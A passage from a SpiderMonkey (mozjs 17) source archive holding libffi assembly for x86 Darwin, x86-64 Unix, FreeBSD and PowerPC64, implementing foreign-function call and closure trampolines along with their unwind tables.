_ffi_call_SYSV.eh _ffi_call_SYSV.eh: LSFDE1: .set L$set$1,LEFDE1-LASFDE1 .long L$set$1 LASFDE1: .long LASFDE1-EH_frame1 .long .LFB1-. .set L$set$2,.LFE1-.LFB1 .long L$set$2 .byte 0x0 .byte 0x4 .set L$set$3,.LCFI0-.LFB1 .long L$set$3 .byte 0xe .byte 0x8 .byte 0x84 .byte 0x2 .byte 0x4 .set L$set$4,.LCFI1-.LCFI0 .long L$set$4 .byte 0xd .byte 0x4 .align 2 LEFDE1: .globl _ffi_closure_SYSV.eh _ffi_closure_SYSV.eh: LSFDE2: .set L$set$5,LEFDE2-LASFDE2 .long L$set$5 LASFDE2: .long LASFDE2-EH_frame1 .long .LFB2-. .set L$set$6,.LFE2-.LFB2 .long L$set$6 .byte 0x0 .byte 0x4 .set L$set$7,.LCFI2-.LFB2 .long L$set$7 .byte 0xe .byte 0x8 .byte 0x84 .byte 0x2 .byte 0x4 .set L$set$8,.LCFI3-.LCFI2 .long L$set$8 .byte 0xd .byte 0x4 .align 2 LEFDE2: #if !FFI_NO_RAW_API .globl _ffi_closure_raw_SYSV.eh _ffi_closure_raw_SYSV.eh: LSFDE3: .set L$set$10,LEFDE3-LASFDE3 .long L$set$10 LASFDE3: .long LASFDE3-EH_frame1 .long .LFB3-. .set L$set$11,.LFE3-.LFB3 .long L$set$11 .byte 0x0 .byte 0x4 .set L$set$12,.LCFI4-.LFB3 .long L$set$12 .byte 0xe .byte 0x8 .byte 0x84 .byte 0x2 .byte 0x4 .set L$set$13,.LCFI5-.LCFI4 .long L$set$13 .byte 0xd .byte 0x4 .byte 0x4 .set L$set$14,.LCFI6-.LCFI5 .long L$set$14 .byte 0x85 .byte 0x3 .align 2 LEFDE3: #endif #endif /* ifndef __x86_64__ */ mozjs17.0.0/js/src/ctypes/libffi/src/x86/unix64.S0000664000175000017500000002621712106270662021252 0ustar sstanglsstangl/* ----------------------------------------------------------------------- unix64.S - Copyright (c) 2002 Bo Thorsen Copyright (c) 2008 Red Hat, Inc x86-64 Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #ifdef __x86_64__ #define LIBFFI_ASM #include #include .text /* ffi_call_unix64 (void *args, unsigned long bytes, unsigned flags, void *raddr, void (*fnaddr)(void)); Bit o trickiness here -- ARGS+BYTES is the base of the stack frame for this function. This has been allocated by ffi_call. We also deallocate some of the stack that has been alloca'd. */ .align 2 .globl ffi_call_unix64 .type ffi_call_unix64,@function ffi_call_unix64: .LUW0: movq (%rsp), %r10 /* Load return address. */ leaq (%rdi, %rsi), %rax /* Find local stack base. */ movq %rdx, (%rax) /* Save flags. */ movq %rcx, 8(%rax) /* Save raddr. */ movq %rbp, 16(%rax) /* Save old frame pointer. */ movq %r10, 24(%rax) /* Relocate return address. */ movq %rax, %rbp /* Finalize local stack frame. */ .LUW1: movq %rdi, %r10 /* Save a copy of the register area. */ movq %r8, %r11 /* Save a copy of the target fn. */ movl %r9d, %eax /* Set number of SSE registers. */ /* Load up all argument registers. */ movq (%r10), %rdi movq 8(%r10), %rsi movq 16(%r10), %rdx movq 24(%r10), %rcx movq 32(%r10), %r8 movq 40(%r10), %r9 testl %eax, %eax jnz .Lload_sse .Lret_from_load_sse: /* Deallocate the reg arg area. */ leaq 176(%r10), %rsp /* Call the user function. */ call *%r11 /* Deallocate stack arg area; local stack frame in redzone. */ leaq 24(%rbp), %rsp movq 0(%rbp), %rcx /* Reload flags. */ movq 8(%rbp), %rdi /* Reload raddr. */ movq 16(%rbp), %rbp /* Reload old frame pointer. */ .LUW2: /* The first byte of the flags contains the FFI_TYPE. */ movzbl %cl, %r10d leaq .Lstore_table(%rip), %r11 movslq (%r11, %r10, 4), %r10 addq %r11, %r10 jmp *%r10 .Lstore_table: .long .Lst_void-.Lstore_table /* FFI_TYPE_VOID */ .long .Lst_sint32-.Lstore_table /* FFI_TYPE_INT */ .long .Lst_float-.Lstore_table /* FFI_TYPE_FLOAT */ .long .Lst_double-.Lstore_table /* FFI_TYPE_DOUBLE */ .long .Lst_ldouble-.Lstore_table /* FFI_TYPE_LONGDOUBLE */ .long .Lst_uint8-.Lstore_table /* FFI_TYPE_UINT8 */ .long .Lst_sint8-.Lstore_table /* FFI_TYPE_SINT8 */ .long .Lst_uint16-.Lstore_table /* FFI_TYPE_UINT16 */ .long .Lst_sint16-.Lstore_table /* FFI_TYPE_SINT16 */ .long .Lst_uint32-.Lstore_table /* FFI_TYPE_UINT32 */ .long .Lst_sint32-.Lstore_table /* FFI_TYPE_SINT32 */ .long .Lst_int64-.Lstore_table /* FFI_TYPE_UINT64 */ .long .Lst_int64-.Lstore_table /* FFI_TYPE_SINT64 */ .long .Lst_struct-.Lstore_table /* FFI_TYPE_STRUCT */ .long .Lst_int64-.Lstore_table /* FFI_TYPE_POINTER */ .align 2 .Lst_void: ret .align 2 .Lst_uint8: movzbq %al, %rax movq %rax, (%rdi) ret .align 2 .Lst_sint8: movsbq %al, %rax movq %rax, (%rdi) ret .align 2 .Lst_uint16: movzwq %ax, %rax movq %rax, (%rdi) .align 2 .Lst_sint16: movswq %ax, %rax movq %rax, (%rdi) ret .align 2 .Lst_uint32: movl %eax, %eax movq %rax, (%rdi) .align 2 .Lst_sint32: cltq movq %rax, (%rdi) ret .align 2 .Lst_int64: movq %rax, (%rdi) ret .align 2 .Lst_float: movss %xmm0, (%rdi) ret .align 2 .Lst_double: movsd %xmm0, (%rdi) ret .Lst_ldouble: fstpt (%rdi) ret .align 2 .Lst_struct: leaq -20(%rsp), %rsi /* Scratch area in redzone. */ /* We have to locate the values now, and since we don't want to write too much data into the user's return value, we spill the value to a 16 byte scratch area first. Bits 8, 9, and 10 control where the values are located. Only one of the three bits will be set; see ffi_prep_cif_machdep for the pattern. */ movd %xmm0, %r10 movd %xmm1, %r11 testl $0x100, %ecx cmovnz %rax, %rdx cmovnz %r10, %rax testl $0x200, %ecx cmovnz %r10, %rdx testl $0x400, %ecx cmovnz %r10, %rax cmovnz %r11, %rdx movq %rax, (%rsi) movq %rdx, 8(%rsi) /* Bits 12-31 contain the true size of the structure. Copy from the scratch area to the true destination. */ shrl $12, %ecx rep movsb ret /* Many times we can avoid loading any SSE registers at all. It's not worth an indirect jump to load the exact set of SSE registers needed; zero or all is a good compromise. */ .align 2 .LUW3: .Lload_sse: movdqa 48(%r10), %xmm0 movdqa 64(%r10), %xmm1 movdqa 80(%r10), %xmm2 movdqa 96(%r10), %xmm3 movdqa 112(%r10), %xmm4 movdqa 128(%r10), %xmm5 movdqa 144(%r10), %xmm6 movdqa 160(%r10), %xmm7 jmp .Lret_from_load_sse .LUW4: .size ffi_call_unix64,.-ffi_call_unix64 .align 2 .globl ffi_closure_unix64 .type ffi_closure_unix64,@function ffi_closure_unix64: .LUW5: /* The carry flag is set by the trampoline iff SSE registers are used. Don't clobber it before the branch instruction. */ leaq -200(%rsp), %rsp .LUW6: movq %rdi, (%rsp) movq %rsi, 8(%rsp) movq %rdx, 16(%rsp) movq %rcx, 24(%rsp) movq %r8, 32(%rsp) movq %r9, 40(%rsp) jc .Lsave_sse .Lret_from_save_sse: movq %r10, %rdi leaq 176(%rsp), %rsi movq %rsp, %rdx leaq 208(%rsp), %rcx call ffi_closure_unix64_inner@PLT /* Deallocate stack frame early; return value is now in redzone. */ addq $200, %rsp .LUW7: /* The first byte of the return value contains the FFI_TYPE. */ movzbl %al, %r10d leaq .Lload_table(%rip), %r11 movslq (%r11, %r10, 4), %r10 addq %r11, %r10 jmp *%r10 .Lload_table: .long .Lld_void-.Lload_table /* FFI_TYPE_VOID */ .long .Lld_int32-.Lload_table /* FFI_TYPE_INT */ .long .Lld_float-.Lload_table /* FFI_TYPE_FLOAT */ .long .Lld_double-.Lload_table /* FFI_TYPE_DOUBLE */ .long .Lld_ldouble-.Lload_table /* FFI_TYPE_LONGDOUBLE */ .long .Lld_int8-.Lload_table /* FFI_TYPE_UINT8 */ .long .Lld_int8-.Lload_table /* FFI_TYPE_SINT8 */ .long .Lld_int16-.Lload_table /* FFI_TYPE_UINT16 */ .long .Lld_int16-.Lload_table /* FFI_TYPE_SINT16 */ .long .Lld_int32-.Lload_table /* FFI_TYPE_UINT32 */ .long .Lld_int32-.Lload_table /* FFI_TYPE_SINT32 */ .long .Lld_int64-.Lload_table /* FFI_TYPE_UINT64 */ .long .Lld_int64-.Lload_table /* FFI_TYPE_SINT64 */ .long .Lld_struct-.Lload_table /* FFI_TYPE_STRUCT */ .long .Lld_int64-.Lload_table /* FFI_TYPE_POINTER */ .align 2 .Lld_void: ret .align 2 .Lld_int8: movzbl -24(%rsp), %eax ret .align 2 .Lld_int16: movzwl -24(%rsp), %eax ret .align 2 .Lld_int32: movl -24(%rsp), %eax ret .align 2 .Lld_int64: movq -24(%rsp), %rax ret .align 2 .Lld_float: movss -24(%rsp), %xmm0 ret .align 2 .Lld_double: movsd -24(%rsp), %xmm0 ret .align 2 .Lld_ldouble: fldt -24(%rsp) ret .align 2 .Lld_struct: /* There are four possibilities here, %rax/%rdx, %xmm0/%rax, %rax/%xmm0, %xmm0/%xmm1. We collapse two by always loading both rdx and xmm1 with the second word. For the remaining, bit 8 set means xmm0 gets the second word, and bit 9 means that rax gets the second word. */ movq -24(%rsp), %rcx movq -16(%rsp), %rdx movq -16(%rsp), %xmm1 testl $0x100, %eax cmovnz %rdx, %rcx movd %rcx, %xmm0 testl $0x200, %eax movq -24(%rsp), %rax cmovnz %rdx, %rax ret /* See the comment above .Lload_sse; the same logic applies here. */ .align 2 .LUW8: .Lsave_sse: movdqa %xmm0, 48(%rsp) movdqa %xmm1, 64(%rsp) movdqa %xmm2, 80(%rsp) movdqa %xmm3, 96(%rsp) movdqa %xmm4, 112(%rsp) movdqa %xmm5, 128(%rsp) movdqa %xmm6, 144(%rsp) movdqa %xmm7, 160(%rsp) jmp .Lret_from_save_sse .LUW9: .size ffi_closure_unix64,.-ffi_closure_unix64 #ifdef HAVE_AS_X86_64_UNWIND_SECTION_TYPE .section .eh_frame,"a",@unwind #else .section .eh_frame,"a",@progbits #endif .Lframe1: .long .LECIE1-.LSCIE1 /* CIE Length */ .LSCIE1: .long 0 /* CIE Identifier Tag */ .byte 1 /* CIE Version */ .ascii "zR\0" /* CIE Augmentation */ .uleb128 1 /* CIE Code Alignment Factor */ .sleb128 -8 /* CIE Data Alignment Factor */ .byte 0x10 /* CIE RA Column */ .uleb128 1 /* Augmentation size */ .byte 0x1b /* FDE Encoding (pcrel sdata4) */ .byte 0xc /* DW_CFA_def_cfa, %rsp offset 8 */ .uleb128 7 .uleb128 8 .byte 0x80+16 /* DW_CFA_offset, %rip offset 1*-8 */ .uleb128 1 .align 8 .LECIE1: .LSFDE1: .long .LEFDE1-.LASFDE1 /* FDE Length */ .LASFDE1: .long .LASFDE1-.Lframe1 /* FDE CIE offset */ #if HAVE_AS_X86_PCREL .long .LUW0-. /* FDE initial location */ #else .long .LUW0@rel #endif .long .LUW4-.LUW0 /* FDE address range */ .uleb128 0x0 /* Augmentation size */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LUW1-.LUW0 /* New stack frame based off rbp. This is a itty bit of unwind trickery in that the CFA *has* changed. There is no easy way to describe it correctly on entry to the function. Fortunately, it doesn't matter too much since at all points we can correctly unwind back to ffi_call. Note that the location to which we moved the return address is (the new) CFA-8, so from the perspective of the unwind info, it hasn't moved. */ .byte 0xc /* DW_CFA_def_cfa, %rbp offset 32 */ .uleb128 6 .uleb128 32 .byte 0x80+6 /* DW_CFA_offset, %rbp offset 2*-8 */ .uleb128 2 .byte 0xa /* DW_CFA_remember_state */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LUW2-.LUW1 .byte 0xc /* DW_CFA_def_cfa, %rsp offset 8 */ .uleb128 7 .uleb128 8 .byte 0xc0+6 /* DW_CFA_restore, %rbp */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LUW3-.LUW2 .byte 0xb /* DW_CFA_restore_state */ .align 8 .LEFDE1: .LSFDE3: .long .LEFDE3-.LASFDE3 /* FDE Length */ .LASFDE3: .long .LASFDE3-.Lframe1 /* FDE CIE offset */ #if HAVE_AS_X86_PCREL .long .LUW5-. /* FDE initial location */ #else .long .LUW5@rel #endif .long .LUW9-.LUW5 /* FDE address range */ .uleb128 0x0 /* Augmentation size */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LUW6-.LUW5 .byte 0xe /* DW_CFA_def_cfa_offset */ .uleb128 208 .byte 0xa /* DW_CFA_remember_state */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LUW7-.LUW6 .byte 0xe /* DW_CFA_def_cfa_offset */ .uleb128 8 .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LUW8-.LUW7 .byte 0xb /* DW_CFA_restore_state */ .align 8 .LEFDE3: #endif /* __x86_64__ */ #if defined __ELF__ && defined __linux__ .section .note.GNU-stack,"",@progbits #endif mozjs17.0.0/js/src/ctypes/libffi/src/x86/freebsd.S0000664000175000017500000002633512106270662021530 0ustar sstanglsstangl/* ----------------------------------------------------------------------- freebsd.S - Copyright (c) 1996, 1998, 2001, 2002, 2003, 2005 Red Hat, Inc. Copyright (c) 2008 Björn König X86 Foreign Function Interface for FreeBSD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #ifndef __x86_64__ #define LIBFFI_ASM #include #include .text .globl ffi_prep_args .align 4 .globl ffi_call_SYSV .type ffi_call_SYSV,@function ffi_call_SYSV: .LFB1: pushl %ebp .LCFI0: movl %esp,%ebp .LCFI1: /* Make room for all of the new args. */ movl 16(%ebp),%ecx subl %ecx,%esp movl %esp,%eax /* Place all of the ffi_prep_args in position */ pushl 12(%ebp) pushl %eax call *8(%ebp) /* Return stack to previous state and call the function */ addl $8,%esp call *28(%ebp) /* Load %ecx with the return type code */ movl 20(%ebp),%ecx /* Protect %esi. We're going to pop it in the epilogue. */ pushl %esi /* If the return value pointer is NULL, assume no return value. */ cmpl $0,24(%ebp) jne 0f /* Even if there is no space for the return value, we are obliged to handle floating-point values. */ cmpl $FFI_TYPE_FLOAT,%ecx jne noretval fstp %st(0) jmp epilogue 0: call 1f .Lstore_table: .long noretval-.Lstore_table /* FFI_TYPE_VOID */ .long retint-.Lstore_table /* FFI_TYPE_INT */ .long retfloat-.Lstore_table /* FFI_TYPE_FLOAT */ .long retdouble-.Lstore_table /* FFI_TYPE_DOUBLE */ .long retlongdouble-.Lstore_table /* FFI_TYPE_LONGDOUBLE */ .long retuint8-.Lstore_table /* FFI_TYPE_UINT8 */ .long retsint8-.Lstore_table /* FFI_TYPE_SINT8 */ .long retuint16-.Lstore_table /* FFI_TYPE_UINT16 */ .long retsint16-.Lstore_table /* FFI_TYPE_SINT16 */ .long retint-.Lstore_table /* FFI_TYPE_UINT32 */ .long retint-.Lstore_table /* FFI_TYPE_SINT32 */ .long retint64-.Lstore_table /* FFI_TYPE_UINT64 */ .long retint64-.Lstore_table /* FFI_TYPE_SINT64 */ .long retstruct-.Lstore_table /* FFI_TYPE_STRUCT */ .long retint-.Lstore_table /* FFI_TYPE_POINTER */ .long retstruct1b-.Lstore_table /* FFI_TYPE_SMALL_STRUCT_1B */ .long retstruct2b-.Lstore_table /* FFI_TYPE_SMALL_STRUCT_2B */ 1: pop %esi add (%esi, %ecx, 4), %esi jmp *%esi /* Sign/zero extend as appropriate. */ retsint8: movsbl %al, %eax jmp retint retsint16: movswl %ax, %eax jmp retint retuint8: movzbl %al, %eax jmp retint retuint16: movzwl %ax, %eax jmp retint retfloat: /* Load %ecx with the pointer to storage for the return value */ movl 24(%ebp),%ecx fstps (%ecx) jmp epilogue retdouble: /* Load %ecx with the pointer to storage for the return value */ movl 24(%ebp),%ecx fstpl (%ecx) jmp epilogue retlongdouble: /* Load %ecx with the pointer to storage for the return value */ movl 24(%ebp),%ecx fstpt (%ecx) jmp epilogue retint64: /* Load %ecx with the pointer to storage for the return value */ movl 24(%ebp),%ecx movl %eax,0(%ecx) movl %edx,4(%ecx) jmp epilogue retstruct1b: /* Load %ecx with the pointer to storage for the return value */ movl 24(%ebp),%ecx movb %al,0(%ecx) jmp epilogue retstruct2b: /* Load %ecx with the pointer to storage for the return value */ movl 24(%ebp),%ecx movw %ax,0(%ecx) jmp epilogue retint: /* Load %ecx with the pointer to storage for the return value */ movl 24(%ebp),%ecx movl %eax,0(%ecx) retstruct: /* Nothing to do! */ noretval: epilogue: popl %esi movl %ebp,%esp popl %ebp ret .LFE1: .ffi_call_SYSV_end: .size ffi_call_SYSV,.ffi_call_SYSV_end-ffi_call_SYSV .align 4 FFI_HIDDEN (ffi_closure_SYSV) .globl ffi_closure_SYSV .type ffi_closure_SYSV, @function ffi_closure_SYSV: .LFB2: pushl %ebp .LCFI2: movl %esp, %ebp .LCFI3: subl $40, %esp leal -24(%ebp), %edx movl %edx, -12(%ebp) /* resp */ leal 8(%ebp), %edx movl %edx, 4(%esp) /* args = __builtin_dwarf_cfa () */ leal -12(%ebp), %edx movl %edx, (%esp) /* &resp */ #if defined HAVE_HIDDEN_VISIBILITY_ATTRIBUTE || !defined __PIC__ call ffi_closure_SYSV_inner #else movl %ebx, 8(%esp) .LCFI7: call 1f 1: popl %ebx addl $_GLOBAL_OFFSET_TABLE_+[.-1b], %ebx call ffi_closure_SYSV_inner@PLT movl 8(%esp), %ebx #endif movl -12(%ebp), %ecx cmpl $FFI_TYPE_INT, %eax je .Lcls_retint /* Handle FFI_TYPE_UINT8, FFI_TYPE_SINT8, FFI_TYPE_UINT16, FFI_TYPE_SINT16, FFI_TYPE_UINT32, FFI_TYPE_SINT32. */ cmpl $FFI_TYPE_UINT64, %eax jge 0f cmpl $FFI_TYPE_UINT8, %eax jge .Lcls_retint 0: cmpl $FFI_TYPE_FLOAT, %eax je .Lcls_retfloat cmpl $FFI_TYPE_DOUBLE, %eax je .Lcls_retdouble cmpl $FFI_TYPE_LONGDOUBLE, %eax je .Lcls_retldouble cmpl $FFI_TYPE_SINT64, %eax je .Lcls_retllong cmpl $FFI_TYPE_SMALL_STRUCT_1B, %eax je .Lcls_retstruct1b cmpl $FFI_TYPE_SMALL_STRUCT_2B, %eax je .Lcls_retstruct2b cmpl $FFI_TYPE_STRUCT, %eax je .Lcls_retstruct .Lcls_epilogue: movl %ebp, %esp popl %ebp ret .Lcls_retint: movl (%ecx), %eax jmp .Lcls_epilogue .Lcls_retfloat: flds (%ecx) jmp .Lcls_epilogue .Lcls_retdouble: fldl (%ecx) jmp .Lcls_epilogue .Lcls_retldouble: fldt (%ecx) jmp .Lcls_epilogue .Lcls_retllong: movl (%ecx), %eax movl 4(%ecx), %edx jmp .Lcls_epilogue .Lcls_retstruct1b: movsbl (%ecx), %eax jmp .Lcls_epilogue .Lcls_retstruct2b: movswl (%ecx), %eax jmp .Lcls_epilogue .Lcls_retstruct: movl %ebp, %esp popl %ebp ret $4 .LFE2: .size ffi_closure_SYSV, .-ffi_closure_SYSV #if !FFI_NO_RAW_API #define RAW_CLOSURE_CIF_OFFSET ((FFI_TRAMPOLINE_SIZE + 3) & ~3) #define RAW_CLOSURE_FUN_OFFSET (RAW_CLOSURE_CIF_OFFSET + 4) #define RAW_CLOSURE_USER_DATA_OFFSET (RAW_CLOSURE_FUN_OFFSET + 4) #define CIF_FLAGS_OFFSET 20 .align 4 FFI_HIDDEN (ffi_closure_raw_SYSV) .globl ffi_closure_raw_SYSV .type ffi_closure_raw_SYSV, @function ffi_closure_raw_SYSV: .LFB3: pushl %ebp .LCFI4: movl %esp, %ebp .LCFI5: pushl %esi .LCFI6: subl $36, %esp movl RAW_CLOSURE_CIF_OFFSET(%eax), %esi /* closure->cif */ movl RAW_CLOSURE_USER_DATA_OFFSET(%eax), %edx /* closure->user_data */ movl %edx, 12(%esp) /* user_data */ leal 8(%ebp), %edx /* __builtin_dwarf_cfa () */ movl %edx, 8(%esp) /* raw_args */ leal -24(%ebp), %edx movl %edx, 4(%esp) /* &res */ movl %esi, (%esp) /* cif */ call *RAW_CLOSURE_FUN_OFFSET(%eax) /* closure->fun */ movl CIF_FLAGS_OFFSET(%esi), %eax /* rtype */ cmpl $FFI_TYPE_INT, %eax je .Lrcls_retint /* Handle FFI_TYPE_UINT8, FFI_TYPE_SINT8, FFI_TYPE_UINT16, FFI_TYPE_SINT16, FFI_TYPE_UINT32, FFI_TYPE_SINT32. */ cmpl $FFI_TYPE_UINT64, %eax jge 0f cmpl $FFI_TYPE_UINT8, %eax jge .Lrcls_retint 0: cmpl $FFI_TYPE_FLOAT, %eax je .Lrcls_retfloat cmpl $FFI_TYPE_DOUBLE, %eax je .Lrcls_retdouble cmpl $FFI_TYPE_LONGDOUBLE, %eax je .Lrcls_retldouble cmpl $FFI_TYPE_SINT64, %eax je .Lrcls_retllong .Lrcls_epilogue: addl $36, %esp popl %esi popl %ebp ret .Lrcls_retint: movl -24(%ebp), %eax jmp .Lrcls_epilogue .Lrcls_retfloat: flds -24(%ebp) jmp .Lrcls_epilogue .Lrcls_retdouble: fldl -24(%ebp) jmp .Lrcls_epilogue .Lrcls_retldouble: fldt -24(%ebp) jmp .Lrcls_epilogue .Lrcls_retllong: movl -24(%ebp), %eax movl -20(%ebp), %edx jmp .Lrcls_epilogue .LFE3: .size ffi_closure_raw_SYSV, .-ffi_closure_raw_SYSV #endif .section .eh_frame,EH_FRAME_FLAGS,@progbits .Lframe1: .long .LECIE1-.LSCIE1 /* Length of Common Information Entry */ .LSCIE1: .long 0x0 /* CIE Identifier Tag */ .byte 0x1 /* CIE Version */ #ifdef __PIC__ .ascii "zR\0" /* CIE Augmentation */ #else .ascii "\0" /* CIE Augmentation */ #endif .byte 0x1 /* .uleb128 0x1; CIE Code Alignment Factor */ .byte 0x7c /* .sleb128 -4; CIE Data Alignment Factor */ .byte 0x8 /* CIE RA Column */ #ifdef __PIC__ .byte 0x1 /* .uleb128 0x1; Augmentation size */ .byte 0x1b /* FDE Encoding (pcrel sdata4) */ #endif .byte 0xc /* DW_CFA_def_cfa */ .byte 0x4 /* .uleb128 0x4 */ .byte 0x4 /* .uleb128 0x4 */ .byte 0x88 /* DW_CFA_offset, column 0x8 */ .byte 0x1 /* .uleb128 0x1 */ .align 4 .LECIE1: .LSFDE1: .long .LEFDE1-.LASFDE1 /* FDE Length */ .LASFDE1: .long .LASFDE1-.Lframe1 /* FDE CIE offset */ #ifdef __PIC__ .long .LFB1-. /* FDE initial location */ #else .long .LFB1 /* FDE initial location */ #endif .long .LFE1-.LFB1 /* FDE address range */ #ifdef __PIC__ .byte 0x0 /* .uleb128 0x0; Augmentation size */ #endif .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI0-.LFB1 .byte 0xe /* DW_CFA_def_cfa_offset */ .byte 0x8 /* .uleb128 0x8 */ .byte 0x85 /* DW_CFA_offset, column 0x5 */ .byte 0x2 /* .uleb128 0x2 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI1-.LCFI0 .byte 0xd /* DW_CFA_def_cfa_register */ .byte 0x5 /* .uleb128 0x5 */ .align 4 .LEFDE1: .LSFDE2: .long .LEFDE2-.LASFDE2 /* FDE Length */ .LASFDE2: .long .LASFDE2-.Lframe1 /* FDE CIE offset */ #ifdef __PIC__ .long .LFB2-. /* FDE initial location */ #else .long .LFB2 #endif .long .LFE2-.LFB2 /* FDE address range */ #ifdef __PIC__ .byte 0x0 /* .uleb128 0x0; Augmentation size */ #endif .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI2-.LFB2 .byte 0xe /* DW_CFA_def_cfa_offset */ .byte 0x8 /* .uleb128 0x8 */ .byte 0x85 /* DW_CFA_offset, column 0x5 */ .byte 0x2 /* .uleb128 0x2 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI3-.LCFI2 .byte 0xd /* DW_CFA_def_cfa_register */ .byte 0x5 /* .uleb128 0x5 */ #if !defined HAVE_HIDDEN_VISIBILITY_ATTRIBUTE && defined __PIC__ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI7-.LCFI3 .byte 0x83 /* DW_CFA_offset, column 0x3 */ .byte 0xa /* .uleb128 0xa */ #endif .align 4 .LEFDE2: #if !FFI_NO_RAW_API .LSFDE3: .long .LEFDE3-.LASFDE3 /* FDE Length */ .LASFDE3: .long .LASFDE3-.Lframe1 /* FDE CIE offset */ #ifdef __PIC__ .long .LFB3-. /* FDE initial location */ #else .long .LFB3 #endif .long .LFE3-.LFB3 /* FDE address range */ #ifdef __PIC__ .byte 0x0 /* .uleb128 0x0; Augmentation size */ #endif .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI4-.LFB3 .byte 0xe /* DW_CFA_def_cfa_offset */ .byte 0x8 /* .uleb128 0x8 */ .byte 0x85 /* DW_CFA_offset, column 0x5 */ .byte 0x2 /* .uleb128 0x2 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI5-.LCFI4 .byte 0xd /* DW_CFA_def_cfa_register */ .byte 0x5 /* .uleb128 0x5 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI6-.LCFI5 .byte 0x86 /* DW_CFA_offset, column 0x6 */ .byte 0x3 /* .uleb128 0x3 */ .align 4 .LEFDE3: #endif #endif /* ifndef __x86_64__ */ mozjs17.0.0/js/src/ctypes/libffi/src/powerpc/0000775000175000017500000000000012106270662021013 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/libffi/src/powerpc/linux64.S0000664000175000017500000001156512106270662022460 0ustar sstanglsstangl/* ----------------------------------------------------------------------- sysv.h - Copyright (c) 2003 Jakub Jelinek Copyright (c) 2008 Red Hat, Inc. PowerPC64 Assembly glue. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #define LIBFFI_ASM #include #include #ifdef __powerpc64__ .hidden ffi_call_LINUX64, .ffi_call_LINUX64 .globl ffi_call_LINUX64, .ffi_call_LINUX64 .section ".opd","aw" .align 3 ffi_call_LINUX64: .quad .ffi_call_LINUX64,.TOC.@tocbase,0 .size ffi_call_LINUX64,24 .type .ffi_call_LINUX64,@function .text .ffi_call_LINUX64: .LFB1: mflr %r0 std %r28, -32(%r1) std %r29, -24(%r1) std %r30, -16(%r1) std %r31, -8(%r1) std %r0, 16(%r1) mr %r28, %r1 /* our AP. */ .LCFI0: stdux %r1, %r1, %r4 mr %r31, %r5 /* flags, */ mr %r30, %r6 /* rvalue, */ mr %r29, %r7 /* function address. */ std %r2, 40(%r1) /* Call ffi_prep_args64. */ mr %r4, %r1 bl .ffi_prep_args64 ld %r0, 0(%r29) ld %r2, 8(%r29) ld %r11, 16(%r29) /* Now do the call. */ /* Set up cr1 with bits 4-7 of the flags. */ mtcrf 0x40, %r31 /* Get the address to call into CTR. */ mtctr %r0 /* Load all those argument registers. */ ld %r3, -32-(8*8)(%r28) ld %r4, -32-(7*8)(%r28) ld %r5, -32-(6*8)(%r28) ld %r6, -32-(5*8)(%r28) bf- 5, 1f ld %r7, -32-(4*8)(%r28) ld %r8, 